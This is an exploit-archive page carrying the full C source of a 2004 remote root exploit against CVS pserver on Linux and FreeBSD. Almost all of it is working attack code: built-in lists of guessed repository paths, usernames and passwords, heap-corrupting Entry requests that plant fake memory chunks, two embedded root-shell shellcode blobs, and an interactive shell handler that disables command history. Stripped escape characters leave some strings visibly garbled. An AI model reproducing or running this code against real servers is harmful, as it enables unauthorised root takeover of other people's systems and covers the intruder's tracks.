[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : CVS Remote Entry Line Heap Overflow Root Exploit (Linux/FreeBSD)
# Published : 2004-06-25
# Author : Ac1dB1tCh3z
# Previous Title : MPlayer <= 1.0pre4 GUI filename handling Overflow Exploit
# Next Title : MS Internet Explorer Remote Application.Shell Exploit


#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <netdb.h>
#include <errno.h>
#include <sys/time.h>
#include <zlib.h>

typedef unsigned char   uchar;

void                    progress(void);
int                     brute_cvsroot(void);
int                     brute_username(void);
int                     brute_password(void);
void                    hdl_crashed(int);
void                    bsd_exploitation(void);
void                    try_exploit(void);
void                    zflush(int);
int                     zprintf(char *, ...);
int                     zgetch(void);
void                    start_gzip(void);
void                    fill_holes(void);
char                    * zgets(void);
void                    evil_entry(void);
void                    linux_exploitation(ulong, int);
void                    do_dicotomie(void);
void                    do_xploit(void);
char                    * flush_sock(void);
void                    usage(char *);
long                    getip(char *);
void                    try_oneshoot(void);
int                     connect_to_host(char *, int);
int                     write_sock(void *, int);
int                     read_sock(void *, int);
void                    nopen(char *, int);
char                    * ngets(void);
void                    memcpy_flush(void);
void                    cvs_conn(void);
int                     detect_remote_os(void);
void                    memcpy_remote(ulong, ulong, uchar *, int);
void                    memcpy_addr(ulong, ulong, int);
void                    nclose(void);
char                    * scramble(char *);
int                     sh(int);

struct array
{
    char        * name;
    int         id;
};

struct array CVSROOTS[]=
{
    {   "/cvs"                  ,       -1      },
    {   "/cvsroot"              ,       -1      },
    {   "/var/cvs"              ,       -1      },
    {   "/anoncvs"              ,       -1      },
    {   "/repository"           ,       -1      },
    {   "/home/CVS"             ,       -1      },
    {   "/home/cvspublic"       ,       -1      },
    {   "/home/cvsroot"         ,       -1      },
    {   "/var/lib/cvs"          ,       -1      },
    {   "/var/cvsroot"          ,       -1      },
    {   "/usr/lib/cvs"          ,       -1      },
    {   "/usr/CVSroot"          ,       -1      },
    {   "/usr/share/cvsroot"    ,       -1      },
    {   "/usr/local/cvsroot"    ,       -1      },
    {   "/usr/local/cvs"        ,       -1      },
    {   "/webcvs"               ,       -1      },
    {   NULL                    ,       -1      },
};

struct array USERNAMES[]=
{
    {   "anonymous"     ,       -1      },
    {   "anoncvs"       ,       -1      },
    {   "cvsread"       ,       -1      },
    {   "anon"          ,       -1      },
    {   "cvs"           ,       -1      },
    {   "guest"         ,       -1      },
    {   "reader"        ,       -1      },
    {   "cvslogin"      ,       -1      },
    {   "anon-cvs"      ,       -1      },
    {   NULL            ,       -1      },
};

struct array PASSWORDS[]=
{
    {   ""              ,       -1      },
    {   " "             ,       -1      },
    {   "anonymous"     ,       -1      },
    {   "anoncvs"       ,       -1      },
    {   "anon"          ,       -1      },
    {   "cvs"           ,       -1      },
    {   "guest"         ,       -1      },
    {   NULL            ,       -1      },
};

#define HIGH_STACK      0xbfffffc0
#define LOWER_STACK     0xbfffd000
#define DEFAULT_ADDR    0xbffffd00
#define RANGE_VALID     0xbffffe00
#define DUMMY_ADDR      0x42424242
#define LINUX_ADDR      0xbfffe200
#define LINUX_SIZE      0x2000
#define HEAPBASE        0x082c512e

#define DEFAULT_TIMEOUT 20
#define TIMEOUT         DEFAULT_TIMEOUT
#define CMD             "export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:" 
                        "/usr/local/bin:/usr/local/sbin;alias ls='ls --color';"
                        "unset HISTFILE;ABrox=`pwd`;cd /;echo RM -RF $ABrox;"
                        "echo ---YOU ARE IN BRO : `hostname`---nw;alias c=clearn"
#define VERT            "33[32m"
#define NORM            "33[0m"
#define INFO            ""
#define BAD_TRIP        "WRONG !n"
#define GOOD_TRIP       VERT"FOUND"NORM" !n"
#define QUIT(x...)      { printf(x); exit(0); }
#ifdef  DEBUGMSG
#define DEBUG(x...)     fprintf(stderr, x)
#else
#define DEBUG(x...)
#endif
#define info(fmt...)    fprintf(stderr, INFO""fmt)
#define aff(fmt...)     fprintf(stderr, fmt)
static char             tmpbuf[32000];
#define nprintf(fmt...) { snprintf(tmpbuf, sizeof(tmpbuf), fmt); 
                        write_sock(tmpbuf, strlen(tmpbuf)); }
#define nwrite(buf, cn) write_sock(sock, buf, cn)
#define nread(buf, cn)  read_sock(sock, buf, cn)
#define NHOLES          (256 - 31)
#define SCNUM           128
#define SCSIZE          32766
#define OFFSET          106
#define ALIGN(x, y)     ((x % y) ? x + (x % y) : x)
#define SET_FD(x)       (x - CHUNK_BK)
#define SET_BK(x)       (x - CHUNK_FD)
#define UNSET_BK(x)     (x + CHUNK_FD)
#define UNSET_FD(x)     (x + CHUNK_BK)
#define MAX_FILL_HEAP   200
#define NUM_OFF7        (sizeof("Entry "))
#define MSIZE           0x4c
#define MALLOC_CHUNKSZ  8
#define AN_ENTRYSZ      8
#define MAGICSZ         ((MALLOC_CHUNKSZ * 2) + AN_ENTRYSZ)
#define FAKECHUNK       MSIZE - MAGICSZ + (NUM_OFF7 - 1)
#define SIZEBUF         FAKECHUNK + 16
#define SIZE_VALUE      -8
#define CHUNK_PSIZE     0
#define CHUNK_SIZE      4
#define CHUNK_FD        8
#define CHUNK_BK        12
#define OVERFLOW_NUM    8
#define DEFAULT_SIZE    0x300
#define SHELLCODE_OFF   0x142
#define SHELLCODE_ADDR  (addr - SHELLCODE_OFF)
#define DUMMY2          "timetosleep"
#define DUMMY           "theosuxdick"
#define MAGICSTRING     "abroxyou"
#define ABMAGIC         "-AB-"
#define ABMAGICSZ       sizeof(ABMAGIC) - 1
#define EXPLOITROX      "t@#!@"VERT"SUCCESS"NORM"#@!#nn"
#define PCNT            20
#define CVS_PORT        2401
#define CVS_LOGIN       "BEGIN AUTH REQUESTn%sn%sn%sn"
                        "END AUTH REQUESTn"
#define CVS_VERIF       "BEGIN VERIFICATION REQUESTn%sn%sn%sn"
                        "END VERIFICATION REQUESTn"
#define CVS_SEND_ROOT   "Root %sn"
#define CVS_GET_VERSION "versionn"
#define CVS_FLUSH       "nnoopnnoopn"
#define CVS_AUTH_FAILED "I HATE YOU"
#define CVS_AUTH_SUCCESS        "I LOVE YOU"
#define CVS_BAD_REP     "no such repository"
#define CVS_NO_USER     "no such user"
#define CVSENTRY        "Entry "
#define CVS_ISMOD       "Is-modified "
#define CVS_ISMODSZ     sizeof(CVS_ISMOD) - 1
#define CVS_UNKNOW      "unrecognized request"
#define CVS_ERROR       "error"
#define CVS_ERROR2      "E "
#define CVS_GZIP        "Gzip-stream "
#define CVS_OK          "ok"
#define BANNER          VERT"Ac1dB1tCh3z "NORM"(C)VS linux/*BSD pservern"
#define ERR_CVSROOT     "unable to found a valid cvsrootn"
#define ERR_USERNAME    "unable to found a valid usernamen"
#define ERR_PASSWORD    "unable to found a valid passwordn"
#define ERR_FAILURE     "Is remote really linux/bsd without security patch ?n"
#define ERR_AUTHFAILED  "Fatal: authentification failure..n"
#define ERR_ZPRINTF     "Too long zprintf (something is broken) !n"
#define ERR_INFLATE     "Inflate errorn"
#define ERR_CONN        "cannot connectn"
#define ERR_GETIP       "cannot resolven"
#define ERR_READSOCK    "cannot read datan"
#define ERR_WRITESOCK   "cannot write datan"
#define SUCCESS_LOGON   VERT"Ok"NORM", we log in (user:%s, pass:%s, cvsroot:%s)"
#define bad_addr(x)     (((x >> 8)&0xFF) == 'n' || ((x >> 8)&0xFF)==''
                        || (x & 0xFF) == 'n' || (x & 0xFF) == '' || 
                        (x & 0xFF) == '/' || ((x >> 8) & 0xFF) == '/' || 
                        (x & 0xFF) == '12' || ((x >> 8) & 0xFF) == '12')
/* 0h j3sus */
char                    zbuf[65536 * 4];
int                     zbufpos;
int                     cur_num         = 0;
int                     is_scramble     = 0;
int                     detectos        = 0;
int                     sock            = 0;
int                     port            = CVS_PORT;
ulong                   saddr           = DEFAULT_ADDR;
uint                    size            = DEFAULT_SIZE;
int                     timeout         = DEFAULT_TIMEOUT;
int                     scnum           = SCNUM;
ulong                   heapbase        = HEAPBASE;
int                     isbsd           = 0;
int                     usent           = 0;
int                     zsent           = 0;
char                    *root          = NULL;
char                    *user          = NULL;
char                    *pass          = NULL;
char                    *host          = NULL;
z_stream                zout;
z_stream                zin;
/*
** write(1, "abroxyou", 8) / setuid(0) / execve / exit;
** Linux only
*/
uchar                   ab_shellcode[] =
"xebx15x42x4cx34x43x4bx48x34x37x20x34x20x4cx31x46x33"
"x20x42x52x4fx21x0ax31xc0x50x68x78x79x6fx75x68x61x62"
"x72x6fx89xe1x6ax08x5ax31xdbx43x6ax04x58xcdx80x6ax17"
"x58x31xdbxcdx80x31xd2x52x68x2ex2ex72x67x58x05x01x01"
"x01x01x50xebx12x4cx45x20x54x52x55x43x20x43x48x45x4c"
"x4fx55x20x49x43x49x68x2ex62x69x6ex58x40x50x89xe3x52"
"x54x54x59x6ax0bx58xcdx80x31xc0x40xcdx80";
/*
** setuid(geteuid()) / write(1, "-AB-", 4) / dup2 / execve
** Linux/BSD
*/
uchar                   xx_shellcode[] =
"x6ax1bx58x31xdbxcdx80x85xc0x74x42x6ax19x58"
"x50xcdx80x50x6ax17x58x50xcdx80x68x2dx41x42"
"x2dx89xe3x6ax04x58x50x53x6ax01x50xcdx80x6a"
"x02x6ax01x50xb0x5axcdx80x31xc0x50x68x6ex2f"
"x73x68x68x2fx2fx62x69x89xe3x50x53x89xe1x50"
"x51x53x50xb0x3bxcdx80x6ax31x58xcdx80x93x6a"
"x17x58xcdx80x6ax04x58x6ax01x5bx68x2dx41x42"
"x2dx89xe1x89xc2xcdx80xb0x3fx6ax01x5bx6ax02"
"x59xcdx80x31xc0x99x50x68x6ex2fx73x68x68x2f"
"x2fx62x69x89xe3x50x53x89xe1xb0x0bxcdx80x00";

void                    usage(char * base)
{
    printf("Us4g3 : r34d 7h3 c0d3 d00d ;Pn");
    exit(0);
}

int                     main(int ac, char **av)
{
    int                 c;

    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    printf(BANNER);
    while ((c = getopt(ac, av, "r:u:p:h:P:s:S:t:iRbo:n:")) != EOF)
        {
            switch(c)
                {
                case 'b':
                    isbsd++;
                    break;
                case 'R':
                    detectos++;
                    break;
                case 'r':
                    root = strdup(optarg);
                    break;
                case 'i':
                    is_scramble = 1;
                    break;
                case 's':
                    saddr = strtoul(optarg, 0, 0);
                    break;
                case 't':
                    timeout = strtoul(optarg, 0, 0);
                    break;
                case 'S':
                    size = strtoul(optarg, 0, 0);
                    break;
                case 'u':
                    user = strdup(optarg);
                    break;
                case 'p':
                    pass = strdup(optarg);
                    break;
                case 'h':
                    host = strdup(optarg);
                    break;
                case 'P':
                    port = strtoul(optarg, 0, 0);
                    break;
                case 'o':
                    heapbase = strtoul(optarg, 0, 0);
                    break;
                case 'n':
                    scnum = strtoul(optarg, 0, 0);
                    break;
                default:
                    usage(av[0]);
                }
        }
    if (!host || (detectos && isbsd))
        usage(av[0]);
    if (!root)
        if(!brute_cvsroot())
            QUIT(ERR_CVSROOT);
    if (!user)
        if(!brute_username())
            QUIT(ERR_USERNAME);
    if (!pass)
        if(!brute_password())
            QUIT(ERR_PASSWORD);
    do_xploit();
    return (0);
}

void                    do_xploit(void)
{
    int                 linux_only = 0;

    signal(SIGPIPE, hdl_crashed);
    if (detectos)
        linux_only = detect_remote_os();
    if (isbsd)
        bsd_exploitation();
    else
        {
            linux_exploitation(LINUX_ADDR, LINUX_SIZE);
            if (!linux_only)
                bsd_exploitation();
        }
    printf(ERR_FAILURE);
    return;
}

int                     detect_remote_os(void)
{
    info("Guessing if remote is a cvs on a linux/x86...t");
    if(range_crashed(0xbfffffd0, 0xbfffffd0 + 4) ||
       !range_crashed(0x42424242, 0x42424242 + 4))
        {
            printf(VERT"NO"NORM", assuming it's *BSDn");
            isbsd = 1;
            return (0);
        }
    printf(VERT"Yes"NORM" !n");
    return (1);
}

void                    bsd_exploitation(void)
{
    printf("Exploiting %s on a *BSDt", host);
    do_auth();
    fill_holes();
    evil_entry();
    start_gzip();
    try_exploit();
}

void                    linux_exploitation(ulong addr, int sz)
{
    char                * buf;

    printf("Exploiting %s on a Linuxt", host);
    cvs_conn();
    fflush(stdout);
    memcpy_addr(addr, SHELLCODE_ADDR, sz);
    memcpy_remote(RANGE_VALID, SHELLCODE_ADDR, ab_shellcode,
                  sizeof(ab_shellcode) - 1);
    memcpy_flush();
    nprintf(CVS_FLUSH);
    buf = flush_sock();
    if (strstr(buf, MAGICSTRING))
        {
            printf(EXPLOITROX);
            sh(sock);
        }
#ifdef SHITTEST
    sleep(333);
#endif
    nclose();
    info(BAD_TRIP);
}

int                     do_auth(void)
{
    char                * your_mind;

    nopen(host, port);
    nprintf(CVS_LOGIN, root, user, scramble(pass));
    your_mind = flush_sock();
    if (!strstr(your_mind, CVS_AUTH_SUCCESS))
        QUIT(ERR_AUTHFAILED);
    free(your_mind);
    nprintf(CVS_SEND_ROOT, root);
}

void                    fill_heap(void)
{
    int                 c;

    for (c = 0; c != MAX_FILL_HEAP; c++)
        nprintf(CVSENTRY"CCCCCCCCC/CCCCCCCCCCCCCCCCCCCCCCCCCC"
                "CCCCCCCCCCCCCCCCCCCCC/CCCCCCCCCCCn");
    for (c = 0; c != (MAX_FILL_HEAP * 2); c++)
        nprintf(CVSENTRY"CC/CC/CCn");
}

void                    cvs_conn(void)
{
    do_auth();
    fill_heap();
}

char                    * get_dummy(void)
{
    static char         buf[2048] = { '' };

    memset(buf, '', sizeof(buf));
    sprintf(buf, CVSENTRY"B%s/", DUMMY2);
    memset(buf + strlen(buf), 'B', SIZEBUF - strlen(DUMMY2));
    strcat(buf, "/n");
    return (&buf[0]);
}

char                    * build_chunk(ulong addr1, ulong addr2, int i)
{
    char                num[20];
    char                * buf = get_dummy();

    if (i != -1)
        {
            sprintf(num, "%d", i);
            memcpy(buf + NUM_OFF7, num, strlen(num));
        }
    *(int *) (buf + FAKECHUNK + CHUNK_SIZE) = SIZE_VALUE;
    *(int *) (buf + FAKECHUNK + CHUNK_FD) = SET_FD(addr1);
    *(int *) (buf + FAKECHUNK + CHUNK_BK) = SET_BK(addr2);
    return (buf);
}

void                    memcpy_flush(void)
{
    int                 i = 0, j;
    char                * buf;
    char                num[20];

    if (!cur_num)
        return;
    buf = get_dummy();
    for (i = 0; i != cur_num - 1; i++)
        {
            sprintf(buf, CVS_ISMOD"%sn", DUMMY2);
            sprintf(num, "%d", i);
            memcpy(buf + CVS_ISMODSZ, num, strlen(num));
            for (j = 0; j != OVERFLOW_NUM; j++)
                nprintf(buf);
        }
    return;
}

void                    memcpy_remote(ulong range, ulong addr, uchar * buf,
                                      int sz)
{
    int                 i;

    if (sz <= 0)
        return ;
    if (!cur_num)
        nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
    for (i = sz - 1, addr += (sz - 1); i >= 0; i--, addr--)
        {
            range &= 0xFFFFFF00;
            range += buf[i];
            if (!bad_addr(SET_FD(addr)) && !bad_addr(range))
                nprintf(build_chunk(addr, UNSET_BK(range), cur_num++));
        }
    return;
}

void                    memcpy_addr(ulong eipaddr, ulong shelladdr, int sz)
{
    int                 aff = (sz / 4) / PCNT, j;

    if (!cur_num)
        nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
    putchar('[');
    for (j = 0; j != PCNT; j++)
        putchar(' ');
    putchar(']');
    for (j = 0; j != PCNT + 1; j++)
        putchar('b');
    fflush(stdout);
    for (j = 0; sz >= 0 && eipaddr <= HIGH_STACK; sz -= 4, eipaddr += 4, j++)
        {
            if (j == aff)
                {
                    putchar('#');
                    fflush(stdout);
                    j = 0;
                }
            if (!bad_addr(SET_FD(eipaddr)) && !bad_addr(shelladdr))
                nprintf(build_chunk(eipaddr, UNSET_BK(shelladdr), cur_num++));
        }
    printf("#t");
    fflush(stdout);
    return;
}

int                     range_crashed(int addr, int addr2)
{
    char                * buf;

    cvs_conn();
    nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
    for (; addr < addr2; addr += 8)
        if (!bad_addr(SET_FD(addr)) && !bad_addr(SET_BK(addr + 4)))
            nprintf(build_chunk(addr, addr + 4, cur_num++));
    memcpy_flush();
    nprintf(CVS_FLUSH);
    buf = flush_sock();
    if (strstr(buf, CVS_OK) || strstr(buf, CVS_UNKNOW)
        || strstr(buf, CVS_ERROR) || strstr(buf, CVS_ERROR2))
        {
            nclose();
            return (0);
        }
#ifdef SHITTEST
    sleep(333);
#endif
    nclose();
    return (1);
}

void                    zflush(int finish)
{
    static char         outbuf[65536];

    zout.next_in = zbuf;
    zout.avail_in = zbufpos;
    do {
        zout.next_out = outbuf;
        zout.avail_out = sizeof(outbuf);
        if (deflate(&zout, finish ? Z_FINISH : Z_PARTIAL_FLUSH) == -1)
            QUIT("zflush : deflate failed !n");
        zsent += sizeof(outbuf) - zout.avail_out;
        write_sock(outbuf, sizeof(outbuf) - zout.avail_out);
    } while (zout.avail_out == 0 && zout.avail_in != 0);
    zbufpos = 0;
    return;
}

int                     zprintf(char *fmt, ...)
{
    static char         buf[65536];
    int                 len;
    va_list             ap;

    va_start(ap, fmt);
    len = vsnprintf(buf, sizeof(buf) - 1, fmt, ap);
    usent += len;
    if ((sizeof(zbuf) - zbufpos) < (len))
        zflush(0);
    memcpy(zbuf + zbufpos, buf, len);
    zbufpos += len;
    if (zbufpos >= sizeof(zbuf))
        QUIT(ERR_ZPRINTF);
    return (len);
}

int                     zgetch(void)
{
    static char         * outbuf = NULL;
    static int          outpos = 0, outlen = 0;
    static char         rcvbuf[32768];
    static char         dbuf[4096];
    int                 got;

  retry:
    if (outpos < outlen && outlen)
        return outbuf[outpos++];
    free(outbuf);
    outlen = 0;
    outbuf = NULL;
    got = read_sock(rcvbuf, sizeof(rcvbuf));
    if (got <= 0)
        QUIT(ERR_READSOCK);
    zin.next_in = rcvbuf;
    zin.avail_in = got;
    while (1)
        {
            int status, dlen;

            zin.next_out = dbuf;
            zin.avail_out = sizeof(dbuf);
            status = inflate(&zin, Z_PARTIAL_FLUSH);
            switch (status)
                {
                case Z_OK:
                    outpos = 0;
                    dlen = sizeof(dbuf) - zin.avail_out;
                    outlen += dlen;
                    outbuf = realloc(outbuf, outlen);
                    memcpy(outbuf + outlen - dlen, dbuf, dlen);
                    break;
                case Z_BUF_ERROR:
                    goto retry;
                default:
                    QUIT(ERR_INFLATE);
                }
        }
}

char                    * zgets(void)
{
    static char         buf[32768];
    char                * p = buf;
    int                 c;

    while (1)
        {
            c = zgetch();
            if (c == 'n')
                break;
            *p++ = c;
            if (p > buf + sizeof(buf))
                {
                    p--;
                    break;
                }
        }
    *p = 0;
    return (buf);
}

void                    start_gzip(void)
{
    nprintf(CVS_GZIP"1n");
    deflateInit(&zout, 9);
    inflateInit(&zin);
    return;
}

void                    fill_holes(void)
{
    int i, j;

    for (i = 0; i < 10; i++)
        nprintf(CVSENTRY"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaan");
    for (i = 0; i < 10; i++)
        nprintf(CVSENTRY"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaan");
    for (i = 0; i < NHOLES; i++)
        {
            nprintf(CVSENTRY"ac1db1tch3z/blackhat4life/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaan");
            for (j = 0; j < 5; j++)
                nprintf(CVSENTRY"%.*Xn", j * 8 - 2, 11);
        }
    nprintf("Set x=%472Xn", 10);
    return;
}

void                    evil_entry(void)
{
    int                 i;
    ulong               heap = heapbase;

    nprintf("Set x=n");
    nprintf(CVSENTRY"/AB/AA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%cn",
            heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24),
            heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24),
            heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24),
            heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24));
}

void                    try_exploit(void)
{
    time_t              last, now;
    int                 i, j, len, o;
    static char         sc[SCSIZE+1];

    for (i = 0; i < OFFSET; i++)
        zprintf(CVS_ISMOD"ABn");
    printf("[", SCSIZE * scnum / 1024);
    for (i = 0; i < PCNT; i++)
        putchar(' ');
    printf("]");
    for (i = 0; i < PCNT + 1; i++)
        printf("b");
    memset(sc, 'A', SCSIZE);
    memcpy(sc + SCSIZE - sizeof(xx_shellcode), xx_shellcode,
           sizeof(xx_shellcode));
    sc[SCSIZE] = 0;
    last = o = 0;
    for (i = 0; i < scnum; i++)
        {
            now = time(NULL);
            if (now > last || (i + 1 == scnum))
                {
                    last = now;
                    for (j = 0; j < o; j++)
                        printf("b");
                    for (j = 0; j < (o = ((i+1) * PCNT / scnum)); j++)
                        printf("#");
                }
            zprintf(CVSENTRY"%sn", sc);
        }
    printf("] ");
    zflush(0);
    zflush(1);
    len = read_sock(sc, sizeof(sc));
    for (i = 0; i < len; i++)
        if (!memcmp(sc + i, ABMAGIC, ABMAGICSZ))
            {
                printf(EXPLOITROX);
                sh(sock);
            }
    printf(BAD_TRIP);
}

int                     brute_cvsroot(void)
{
    int                 i, ret = 0;
    char                * rbuf;

    info("Bruteforcing cvsroot...n");
    for (i = 0; CVSROOTS[i].name; i++)
        {
            nopen(host, port);
            nprintf(CVS_VERIF, CVSROOTS[i].name, DUMMY, scramble(DUMMY));
            info("Trying CVSROOT = %st", CVSROOTS[i].name);
            rbuf = flush_sock();
            nclose();
            if (!rbuf || strstr(rbuf, CVS_BAD_REP))
                info(BAD_TRIP);
            else if (strstr(rbuf, CVS_AUTH_FAILED) ||
                     strstr(rbuf, CVS_AUTH_SUCCESS) ||
                     strstr(rbuf, CVS_NO_USER))
                {
                    info(GOOD_TRIP);
                    CVSROOTS[i].id = i;
                    root = CVSROOTS[i].name;
                    if (user && pass)
                        {
                            free(rbuf);
                            return (1);
                        }
                    ret++;
                }
            else
                printf(BAD_TRIP);
            free(rbuf);
        }
    return (ret);
}

int                     brute_username(void)
{
    int                 i, c, ret = 0;
    char                * rbuf;

    info("Bruteforcing cvs login... n");
    for (c = 0; CVSROOTS[c].name; c++)
        {
            if (!root && CVSROOTS[c].id == -1) continue;
            for ( i=0; USERNAMES[i].name; i++ )
                {
                    if (root)
                        CVSROOTS[c].name = root;
                    info("Trying cvsroot = %s, login = %st", CVSROOTS[c].name,
                         USERNAMES[i].name);
                    nopen(host, port);
                    nprintf(CVS_VERIF, CVSROOTS[c].name, USERNAMES[i].name,
                            scramble(DUMMY));
                    rbuf = flush_sock();
                    nclose();
                    if ( strstr( rbuf, CVS_NO_USER))
                        info( BAD_TRIP, rbuf );
                    else if (strstr( rbuf, CVS_AUTH_FAILED) ||
                        strstr(rbuf, CVS_AUTH_SUCCESS))
                        {
                            info(GOOD_TRIP);
                            USERNAMES[i].id = CVSROOTS[c].id;
                            user = USERNAMES[i].name;
                            if (pass)
                                {
                                    free(rbuf);
                                    return (1);
                                }
                            ret++;
                        }
                    free(rbuf);
                }
            if (root)
                return (ret);
        }
    return (ret);
}

int                     brute_password(void)
{
    int                 i, c, ret=0;
    char                * rbuf;

    info("Bruteforcing cvs password...n");
    for (c = 0; USERNAMES[c].name; c++)
        {
            if (!user && USERNAMES[c].id == -1) continue;
            for (i = 0; PASSWORDS[i].name; i++)
                {
                    info("Trying login = %s, pass = %st", user?user:USERNAMES[c].name,
                         PASSWORDS[i].name);
                    nopen(host, port);
                    nprintf(CVS_VERIF,root?root:CVSROOTS[USERNAMES[c].id].name,
                            user?user:USERNAMES[c].name, scramble(PASSWORDS[i].name) );
                    rbuf = flush_sock();
                    nclose();
                    if (strstr(rbuf, CVS_AUTH_FAILED))
                        info(BAD_TRIP, rbuf);
                    else if (strstr(rbuf, CVS_AUTH_SUCCESS))
                        {
                            info(GOOD_TRIP);
                            if (!root)
                                root = CVSROOTS[ USERNAMES[c].id ].name;
                            if (!user)
                                user = USERNAMES[c].name;
                            pass = PASSWORDS[i].name;
                            free(rbuf);
                            printf(SUCCESS_LOGON, user, pass, root);
                            return (1);
                        }
                    else
                        info(BAD_TRIP);
                    free(rbuf);
                }
            if (user)
                return (0);
        }
    return (0);
}

void                    hdl_crashed(int signum)
{
    return;
}

int                     write_sock(void * buf, int sz)
{
    fd_set              wfds;
    struct timeval      tv;
    int                 ret;

    if (sz <= 0)
        return (sz);
    FD_ZERO(&wfds);
    FD_SET(sock, &wfds);
    bzero(&tv, sizeof (tv));
    tv.tv_sec = timeout;
    tv.tv_usec = 0;
    while (select(sock + 1, NULL, &wfds, NULL, &tv) <= 0)
        {
            FD_ZERO(&wfds);
            FD_SET(sock, &wfds);
            tv.tv_sec = timeout;
            tv.tv_usec = 0;
        }
    if ((ret = write(sock, buf, sz)) != sz)
        QUIT(ERR_WRITESOCK);
    return (ret);
}

int                     read_sock(void * buf, int sz)
{
    fd_set              rd;
    struct timeval      tv;
    int                 ret;

    FD_ZERO(&rd);
    FD_SET(sock, &rd);
    bzero(&tv, sizeof (tv));
    tv.tv_sec = timeout;
    tv.tv_usec = ret = 0;
    if (select(sock + 1, &rd, NULL, NULL, &tv) <= 0)
        QUIT(ERR_READSOCK);
    if ((ret = read(sock, buf, sz)) <= 0)
    return (ret);
}

char                    * flush_sock(void)
{
    char        * ret;
    int         len, y, i = 0;
    fd_set              rfds;
    struct timeval      tv;

    FD_ZERO(&rfds);
    FD_SET(sock, &rfds);
    bzero(&tv, sizeof (tv));
    tv.tv_sec = timeout;
    tv.tv_usec = 0;
#define BUF_SIZE        42
    ret = malloc((len = BUF_SIZE));
    if (select(sock + 1, &rfds, NULL, NULL, &tv) < 0)
        return ("");
    while ((y = read(sock, ret + i, BUF_SIZE)) > 0)
        {
            i += y;
            ret = realloc(ret, (len += BUF_SIZE));
        }
    if (i == len)
        realloc(ret, len + 1);
    ret[i] = 0;
    return (ret);
}

long                    getip(char * hostname)
{
    struct hostent * p_hostent;
    long ipaddr;

    ipaddr = inet_addr( hostname );
    if (ipaddr  < 0)
        {
            p_hostent = gethostbyname(hostname);
            if (p_hostent == NULL)
                QUIT(ERR_GETIP);
            memcpy( &ipaddr, p_hostent->h_addr, p_hostent->h_length );
        }
    return(ipaddr);
}

int                     connect_to_host(char * host, int port)
{
    struct sockaddr_in  s_in;

    memset( &s_in, '', sizeof(struct sockaddr_in) );
    s_in.sin_family = AF_INET;
    s_in.sin_addr.s_addr = getip( host );
    s_in.sin_port = htons( port );
    if ((sock = socket( AF_INET, SOCK_STREAM, 0 )) <= 0)
        QUIT(ERR_CONN);
    if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)))
        QUIT (ERR_CONN);
#ifdef  SHITTEST
            sleep(15);
#endif
    fcntl(sock, F_SETFL, O_NONBLOCK);
    return (sock);
}

void                    nopen(char * host, int port)
{
    connect_to_host(host, port);
    cur_num = 0;
    return;
}

void                    nclose(void)
{
    cur_num = 0;
    close(sock);
    return;
}

unsigned char shifts[] = {
   0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15,
  16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
 114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87,
 111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105,
  41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35,
 125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56,
  36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48,
  58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223,
 225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190,
 199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193,
 174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212,
 207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246,
 192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176,
 227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127,
 182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195,
 243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 };

char                    * scramble(char * str)
{
    int                 i;
    char                * s;

    if (is_scramble)
        return (str);
    s = (char *) malloc (strlen (str) + 3);
    memset(s, '', strlen(str) + 3);
    *s = 'A';
    for (i = 1; str[i - 1]; i++)
        s[i] = shifts[(unsigned char)(str[i - 1])];
    return (s);
}

int                     sh(int sockfd)
{
    int                 cnt;
    char                buf[1024];
    fd_set              fds;

    write(sockfd, CMD, strlen(CMD));
    while(1)
        {
            FD_ZERO(&fds);
            FD_SET(0, &fds);
            FD_SET(sockfd, &fds);
            if(select(FD_SETSIZE, &fds, NULL, NULL, NULL))
                {
                    if(FD_ISSET(0, &fds))
                        {
                            if((cnt = read(0, buf, 1024)) < 1)
                                {
                                    if(errno == EWOULDBLOCK || errno == EAGAIN)
                                        continue;
                                    else
                                        break;
                                }
                            write(sockfd, buf, cnt);
                        }
                    if(FD_ISSET(sockfd, &fds))
                        {
                            if((cnt = read(sockfd, buf, 1024)) < 1)
                                {
                                    if(errno == EWOULDBLOCK || errno == EAGAIN)
                                        continue;
                                    else
                                        break;
                                }
                            write(1, buf, cnt);
                        }
                }
        }
    exit(0);
}


// www.Syue.com [2004-06-25]